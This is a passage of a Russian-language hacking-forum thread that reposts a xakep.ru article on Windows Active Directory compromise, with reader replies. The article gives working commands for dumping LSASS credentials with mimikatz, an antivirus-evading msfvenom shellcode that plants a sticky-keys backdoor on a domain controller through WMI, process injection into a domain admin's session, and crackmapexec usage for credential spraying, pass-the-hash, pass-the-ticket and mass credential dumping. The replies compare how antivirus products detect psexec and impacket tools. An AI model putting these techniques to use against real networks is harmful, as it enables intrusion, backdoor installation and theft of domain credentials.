Однако антивирусы почему‑то их очень не любят. Тут снова на помощь может прийти техника дампа памяти.

Извлечение через дамп виртуальной памяти​

Делаем дамп одним из перечисленных выше способов. После этого воспользуемся помощью mimikatz:
Код:
sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

Извлечение через дамп физической памяти​

Как было сказано чуть раньше, антивирус может защитить lsass.exe от посягательств и не позволить сдампить процесс ни одним из перечисленных способов. Тут вновь вооружаемся утилитой winpmem.exe и дампим всю физическую память. Антивирусу крайне сложно обнаружить процесс дампа физической памяти, так как он выполняется не через WinAPI-вызовы, а через прямое чтение памяти из режима ядра.

Проанализировать дамп памяти мы сможем с помощью отладчика WinDbg и специального модуля для него от автора mimikatz:
Код:
windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz
Также у всем известного фреймворка для форензики Volatility для этой цели существует специальный модуль:
Код:
volatility --plugins=/path/to/volatility_plugins/FrancescoPicasso -f pmem.img mimikatz

Аппаратная изоляция процесса lsalso.exe​

В современных версиях Windows нас может ждать неприятный сюрприз в виде lsalso.exe — процесса, защищенного технологией виртуализации. Существуют, конечно, техники, связанные с регистрацией провайдера LSASS:
Код:
mimikatz.exe misc:memssp
Но тут придется ждать, пока админ выполнит повторный логон. Введенные учетные данные будут записаны в c:\windows\system32\mimilsa.log.

Но так ли нам нужен пароль этого администратора домена? Подумаем хорошенько: мы зашли на сервер под одной учетной записью и хотим получить пароль от другой. В пределах текущего ПК и наша, и админская учетки находятся на равных уровнях — мы оба локальные администраторы этого ПК. Это значит, что мы можем взаимодействовать как с домашним каталогом нужной нам учетки, так и с памятью его процессов.

Говоря более конкретно, мы имеем полное право писать код в память процессов, работающих от имени доменного администратора, и запускать в нем произвольные потоки. То есть мы можем просто сгенерировать шелл‑код с произвольной командой и выполнить ее от имени администратора домена, заинжектив ее в любой процесс нужного пользователя. И для этого нам не потребуется даже пароль этого админа:
Код:
msfvenom -p windows/exec CMD="wmic /node:10.0.0.10 process call create 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"'" -f raw -e x86/alpha_mixed -o shellcode.txt exitfunc=thread
Мы сгенерили шелл‑код, который с помощью WMI выполнит на контроллере домена команду, активирующую sticky keys. Желательно сделать этот шелл‑код как можно более безобидным — в данном случае он закодирован в ASCII-команды, так что будет выглядеть как простой текстовый файл. Обычно антивирусы такое не трогают.

Теперь все, что нам нужно, — это выбрать процесс администратора домена с помощью команды qprocess *. Часто админские процессы висят в параллельной сессии RDP, иногда — забытой. Поэтому в качестве цели можно взять, например, explorer.exe. Далее мы выделяем в нем немного памяти, записываем туда наш шелл‑код и запускаем поток c помощью shellcode_inject.exe:
Код:
shellcode_inject.exe PID shellcode.txt
Только что мы внедрили в контекст администратора домена код, который на контроллере домена удаленно запустил команду, активирующую бэкдор. Теперь подключимся к этому домену:
Код:
rdesktop dc.company.org
Мы увидим хорошо знакомую картину.

Результат внедрения шелл-кода в админский процесс — активация бэкдора на контроллере домена

Результат внедрения шелл‑кода в админский процесс — активация бэкдора на контроллере домена

Доступ к контроллеру домена получен. Это значит, что мы можем выполнить репликацию доменных учетных записей, включая системную учетную запись krbtgt. С ее помощью можно «нарисовать» TGT Kerberos-билет того самого админа и авторизоваться от его имени уже второй раз, не зная никакого пароля. Эта техника называется golden ticket.

Подведем небольшой итог по самым распространенным типам хешей Windows и областям их использования.

table.png


LATERAL MOVEMENT​

Так или иначе, для бокового перемещения на входе мы можем иметь учетные записи в одной из перечисленных ниже форм:
  • паролей открытым текстом;
  • NTLM-хешей;
  • Kerberos-билетов.
О том, как их использовать сразу на множестве целей, мы поговорим ниже.

Credentials spraying​

Само по себе боковое перемещение — это, как правило, массовое исполнение кода, то есть запуск одной и той же команды на группе целей. При этом оно часто выполняется вслепую, особенно на начальной стадии, когда нет разведанного пути получения учетной записи админа.

Поэтому важно уметь исполнять код разными способами не на одной машине, а сразу на группе целей. Тут лучший, на мой взгляд, инструмент — crackmapexec. Эта тулза имеет крайне богатый арсенал функций. Она может быть использована также для брутфорса и много чего еще, что выходит за рамки данной статьи.

Синтаксис для использования локальных учетных записей выглядит следующим образом:
Код:
cme smb -d . -u username -p password targets.txt
Для доменных:
Код:
cme smb -d domain -u username -p password targets.txt
При этом любой аргумент может быть как значением, так и файлом, содержащим список значений. Перед тем как начать массово исполнять код, нужно определиться, какие учетные записи на какие ПК имеют доступ.

Для какой‑то конкретной учетки мы можем сделать проверку прав сразу на группе целей:
Код:
cme smb -d . -u admin -p passwd --shares targets.txt 2>&1 | grep Pwn3d
Чаще при боковом перемещении имеешь дело не с одной, а с десятками, а то и c сотнями учетных записей. В новых версиях cme для этого появилась возможность проверки combo-сочетаний:
Код:
cme smb -d domain -u users.txt -p passwords.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
cme smb -d domain -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
Все учетные записи, которые к чему‑то подошли, сохраняются в базе и доступны через команду cmedb. Команду можно использовать с целью получения информации для SMB:
Код:
cmedb> proto smb
Список сохраненных учетных записей:
Код:
cmedb> creds
Список хостов, на которые были попытки входа:
Код:
cmedb> hosts
Сохраненные таким образом учетные записи в дальнейшем можно использовать в cme по ID:
Код:
cme smb -id 7 --shares targets.txt

Массовое исполнение кода​

В какой‑то момент нам может потребоваться тупо запускать какую‑то программу на группе целей. И если для точечного запуска команд мы использовали всякие psexec, то для массового прибегнем к cme. Для выполнения простой команды можно воспользоваться следующей директивой:
Код:
cme smb -d . -u admin -p s3cr3t -x 'ipconfig' targets.txt
Для выполнения командлетов PowerShell:
Код:
cme smb -d . -u admin -p s3cr3t -X 'Get-Service' targets.txt
Исполнение команд разными способами:
Код:
cme smb --exec-method smbexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method wmiexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method atexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme winrm -d . -u admin -p s3cr3t -x ipconfig targets.txt
Используем технику Pass-the-Hash на группе целей:
Код:
cme smb -d . -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'ipconfig' targets.txt
Используем технику Pass-the-Ticket на группе целей:
Код:
KRB5CCNAME=$(pwd)/tgt.ccache cme smb -k -u admin -x 'ipconfig' targets.txt
Также cme позволяет полностью автоматизировать процесс сбора локальных учетных записей и кеша доменных:
Код:
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --sam targets.txt
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --lsa targets.txt
Эта команда автоматизирует практически все описанные выше действия — соберет все, что можно, используя каждую из учетных записей. Также crackmapexec имеет дополнительные модули, расширяющие его и без того богатую функциональность. В частности, имеется модуль mimikatz для массового извлечения доменных учеток активных сессий:
Код:
cme smb -M mimikatz -id 8 targets.txt
Однако запускать его в реальной среде я бы не рекомендовал из‑за высокого риска обнаружения антивирусом.

ЗАКЛЮЧЕНИЕ​

Windows имеет очень много разных особенностей, позволяющих нам «перепрыгивать» с одного хоста на другой. Многие из этих трюков, такие как PTH, вообще говоря, являются уязвимостями, но Microsoft не хочет их закрывать. Так они переходят в разряд «фич», которые навсегда останутся в нашем арсенале.

Как бы абсурдно это ни прозвучало, отказ от Active Directory улучшил бы защищенность многих внутренних сетей. На моей практике был показательный случай, когда за полтора дня была захвачена огромная внутренняя сеть в 140 тысяч ПК, но в то же время за пять дней не поддалась крошечная компания в десять человек, не использующая Active Directory.

Сложно себе представить сеть компании, которая сдержала бы натиск всех описанных приемов. Слишком многое может оказаться неочевидным для администраторов, и тогда одна ошибка приводит к краху всей инфраструктуры.

В сетях с Active Directory мы имеем экосистему с единым центром — контроллером домена. И для его компрометации необязательно атаковать сеть прямо в лоб. Как правило, к компрометации домена приводят не уязвимости в ПО, а простые недочеты — избыточное количество админских учеток либо их чрезмерное использование налево и направо, использование одинаковых паролей локальных учетных записей или же просто слабые пароли.

Рассмотренные методы составляют примерно 10% угроз внутренней инфраструктуры и лишь одну десятую обычного арсенала хакера. Ведь существуют еще уязвимости ПО и атаки на ЛВС. Active Directory вместе с Windows, имея множество неочевидных изъянов в безопасности, создает для атакующего крайне удобную среду для продвижения, в которой каждый хост находится в доверительных отношениях с соседними узлами сети. После успешного взлома одного такого хоста начинается цепная реакция взломов, которая доходит до админских ПК и серверов, а потом уже и до АСУ ТП или SWIFT. И чем больше сеть, тем сложнее соблюдать порядок, тем больше вероятность встретить misconfiguration и тем выше будет цена такой ошибки.

Автор @s0i37
источник: xakep.ru
 
мужик, ты просто красавец, всё отлично и по полочкам разложено, за картинку с антивирусами огромнейшее спасибо. желаю продуктивной работы!
 
Хорош. На призовое место в конкурсе 100% потянуло бы
Призовое вряд ли, но топ 5 точно было бы
 
Administrator ... take out the time an review your website an delete all of the out-dated methods which woukd mean you would have to delete around 90% of the website..im tires of reading about out-dated methods on this site which already have signatures in ALL of the antivirus systems ..
 
Пожалуйста, обратите внимание, что пользователь заблокирован

psexec.exe​

  • Происхождение: sysinternals
  • AV-риск: отсутствует
  • Используемые порты: 135, 445, 4915x/TCP
Тут не согласен, вообще большинство аверов выдают алерт на псекзек) иногда даже как троян
вот уровень детектирование виндефендера где то такое
Код:
[LIST]
[*]SysInternals-PsExec (Low Noise/Windows Defender has no detection)
[*]Metasploit-PsExec (High Noise/Windows Defender has detection)
[*]Impacket-psexec (High Noise/Windows Defender has detection)
[*]Impacket-smbexec (Low Noise/Windows Defender has no detection)
[*]Impacket-wmiexec (Low Noise/Windows Defender has no detection)
[/LIST]

Ну а некоторыми аверами будет детектится при кастумных настройках, детектится кстати по этим параметрам
Код:
PsExec activity always involves remote service creation. The Windows Security EventCode for this activity is 7045 and the default name is PSEXESVC

P.S. я бы для удаленного выполнения ркомендовал wmi или schtasks
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тут не согласен, вообще большинство аверов выдают алерт на псекзек) иногда даже как троян
вот уровень детектирование виндефендера где то такое
Код:
[LIST]
[*]SysInternals-PsExec (Low Noise/Windows Defender has no detection)
[*]Metasploit-PsExec (High Noise/Windows Defender has detection)
[*]Impacket-psexec (High Noise/Windows Defender has detection)
[*]Impacket-smbexec (Low Noise/Windows Defender has no detection)
[*]Impacket-wmiexec (Low Noise/Windows Defender has no detection)
[/LIST]

Ну а некоторыми аверами будет детектится при кастумных настройках, детектится кстати по этим параметрам
Код:
PsExec activity always involves remote service creation. The Windows Security EventCode for this activity is 7045 and the default name is PSEXESVC

P.S. я бы для удаленного выполнения ркомендовал wmi или schtasks
единственный AV, который блокирует psexec, — это sophos. Все остальные нет.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх